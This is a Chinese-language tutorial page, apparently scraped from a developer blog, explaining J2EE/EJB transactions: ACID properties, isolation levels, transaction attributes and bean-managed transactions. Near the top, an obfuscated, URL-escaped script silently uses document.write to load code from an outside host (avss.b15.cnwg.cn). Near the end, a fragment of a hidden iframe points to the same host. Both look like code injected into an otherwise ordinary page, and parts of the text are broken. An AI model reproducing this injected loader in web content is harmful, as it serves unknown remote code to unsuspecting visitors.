Java? 2 Platform, Enterprise Edition (J2EE) 规

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Java? 2 Platform, Enterprise Edition (J2EE) 规


iv>

事务概述
首先,让我们来回顾一下什么是事务。事务是一连串必须全部成功的操作,或者如果某一操作失败,则让系统停留在初始状态。事务必须支持以下要求(通常缩写为 ACID):

Atomic(原子的)
—— 保证事务中的所有操作全部成功执行或者完全不执行。

Consistent(一致的)
—— 如果事务中断或完成,系统状态必须保持一致。

Isolation(隔离)
—— 执行一个事务时,不能从其他事务看见该事务所做的更改。

Durability(持久性)
—— 事务结果保持持久。
(注意,此列表可能没有必要完全应用于分布式事务。例如,分布事务时,数据可能被其中一个参与者丢失,甚至是在事务提交以后。)
事实上,为了达到更好的性能,可能不履行隔离要求。对于数据库,该要求通常由事务的隔离级别属性所取代。定义了以下级别:

Serializable(可串行化的)
—— 这是隔离的最强级别。相当于初始 ACID 隔离属性。

Repeatable read(可重读)
—— 在事务过程中,事务始终读取相同的数据。会发生幻像读。当事务再次执行查询,并发现一组结果自最后一次查询后由于另一个事务提交了新的数据而发生了更改,则会发生幻像读。

Read committed(读已提交)
—— 事务可以读取由另一事务提交的数据。会发生不可重读和幻像读。这是默认隔离级别。事务再次读取某数据时发现它自最后一次读操作之后由于另一个事务修改并提交了该数据而发生了更改,则会发生不可重读。

Read uncommitted(读未提交)
—— 这是隔离的最弱级别。会发生不可重读、幻像读和读未提交数据。
J2EE 容器提供了对 ACID 属性的支持。Geronimo 不为特殊数据源提供更改事务隔离级别的方法,所以 “Read committed” 属性始终用于其 Enterprise JavaBeans (EJB) 容器。如果简单的 Java Database Connectivity (JDBC) 用于访问数据库,则 #setTransactionIsolation 可以用于手动设置隔离级别。
J2EE 事务
在 J2EE 容器管理事务的情况下,容器的职责是确定事务范围。在部署过程中为 beans 定义的事务属性,确定了事务的范围。可以抛出一个系统异常(即 javax.ejb.EJBException)以回滚事务。也可以调用 javax.ejb.EJBContext#setRollbackOnly() 方法来实现同一目的。bean 必须将 EJB 部署描述符中的事务类型属性设置为
container
,以便使用容器管理的事务。
可以为任何会话或实体 bean 方法指定事务属性。EJB 2.1规范中定义了以下属性:

NotSupported(不支持)
—— bean 方法不支持事务。如果提供了事务,则忽略该事务。

Supports(支持)
—— 事务是可选的。如果提供了事务,则使用该事务。

Required(需要)
—— 如果客户提供事务,则使用该事务。否则,生成一个新事务。

RequiresNew(需要新事务)
—— 如果提供了事务,则暂停该事务。在方法结束的时候总是生成并提交新事务。

Mandatory(强制)
—— 必须提供事务,否则产生错误。

Never(从不)
—— 不能提供事务,否则产生错误。
一般来说,需要事务支持时只使用上面列出的三种属性。Required 用于无状态 bean, Mandatory 用于实体 beans,需要新事务时使用 RequiresNew。其余属性通常不使用,因为它们不提供(甚至可能禁止)事务支持。
摘自 EJB 部署描述符的
清单 1
提供了一个为资金转帐实体 EJB 设置事务属性的例子:
清单 1. 为常见的实体 EJB 设置 Mandatory 事务属性




<container-transaction> <method> <ejb-name>Counter</ejb-name> <method-name>*</method-name> </method> <trans-attribute>Mandatory</trans-attribute></container-transaction>



其他 EJB 类型的代码相似,只有
trans-attribute
属性除外,对于无状态 bean 它被设置为 Required,对于标识符生成 bean 被设置为 RequiresNew。
在 J2EE bean 管理事务的情况下,bean 负责控制事务范围。通过在 javax.transaction.UserTransaction 接口的实例上调用方法来转让控制。通过 javax.ejb.EJBContext#getUserTransaction() 方法来返回实例。
清单 2
示例展示了业务方法在 bean 管理事务的情况下是如何实现的(注意,为简化起见省略了异常处理):
清单 2. 业务方法的示例实现




UserTransaction tx = context.getUserTransaction();tx.begin();try { // Perform some actions...} catch(Throwable t) { // Rollback if any exception is thrown tx.setRollbackOnly ();} finally { tx.commit(); // commit (or rollback if setRollbackOnly() was called)}



要手动控制事务,bean 必须将 EJB 部署描述符中的
transaction-type
属性设置为
Bean
。 
 
 
交叉事务
交叉事务是指为执行另一事务而暂停一个事务的情况。后一个事务一提交或回滚,就继续执行前一个事务。
资金转帐银行场景中,新创建的实体的标识符的生成是在单独的事务中执行的。这确保了生成的标识符是惟一的,即使初始的业务事务失败。标识符生成事务被提交后才恢复执行父事务。因此,不管序列表中用于标识符生成的计数器值是否递增,都能防止多次产生相同的标识符。该事务的行为描述为交叉事务。当 bean 方法的事务属性在部署描述符中设置为 RequiresNew 时,可以支持交叉事务。
 
 
分布式事务
分布式事务涉及到好些参与者,他们通过网络分布,或代表不同的服务,例如 Java Messaging Service (JMS) 或数据库事务。
在资金转帐银行场景应用程序中,在进行转帐操作时执行分布式事务。该事务包括数据库和 JMS 操作。数据库操作将一个新的订单行插入到表中,这时,JMS 操作会发布转帐信息,例如源帐户、目标帐户和 JMS 主题的编号。发布到 JMS 主题的信息用于收集统计信息。统计信息由消息驱动的 bean (MDB) 收集,MDB 被构建为在收到消息时侦听主题并增量内部计数器。
转帐事务满足
上面
定义的 ACID 要求。满足这些要求可确保,如果新的转帐订单创建失败,数据就不会发布到 JMS 主题。
启用分布式事务不需要配置。控制执行分布式事务是 J2EE 容器的职责。
 
1、Required:当客户端运行一个事务处理并调用EJB的一个方法,这个方法执行客户端的事务处理;当客户端没有启动一个事务处理,则EJB容器在执行这个方法之前启动一个新的事务处理.
2、RequiresNew:当客户端运行一个事务处理并调用EJB的一个方法时,容器管理器做如下操作:
(1) 悬挂客户端的事务处理;
(2) 开始一个新的事务处理;
(3) 调用方法;
(4) 当方法结束,恢复客户端的事物处理.
当客户端没有启动一个事务处理,容器管理器在执行这个方法之前启动一个新的事务处理.
3、Mandatory: 当客户端运行一个事务处理并调用EJB的一个方法,这个方法在客户端的事务处理范围内被执行; 当客户端没有启动一个事务处理,容器管理器将会抛错(TransactionRequiredException);
4、NotSupported: 当客户端运行一个事务处理并调用EJB的一个方法,容器管理器在调用方法之前终止客户端的事务处理,当方法执行完,再恢复客户端的事务处理; 当客户端没有启动一个事务处理,容器管理器在调用方法时不启动事务处理.
5、Supports: 当客户端运行一个事务处理并调用EJB的一个方法,在运行方法时执行客户端的事务处理; 当客户端没有启动一个事务处理,容器管理器在调用方法时不启动事务处理.
6、Never: 当客户端运行一个事务处理并调用EJB的一个方法,容器管理器将抛出一个错误(RemoteException); 当客户端没有启动一个事务处理,容器管理器在调用方法时不启动事务处理.

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值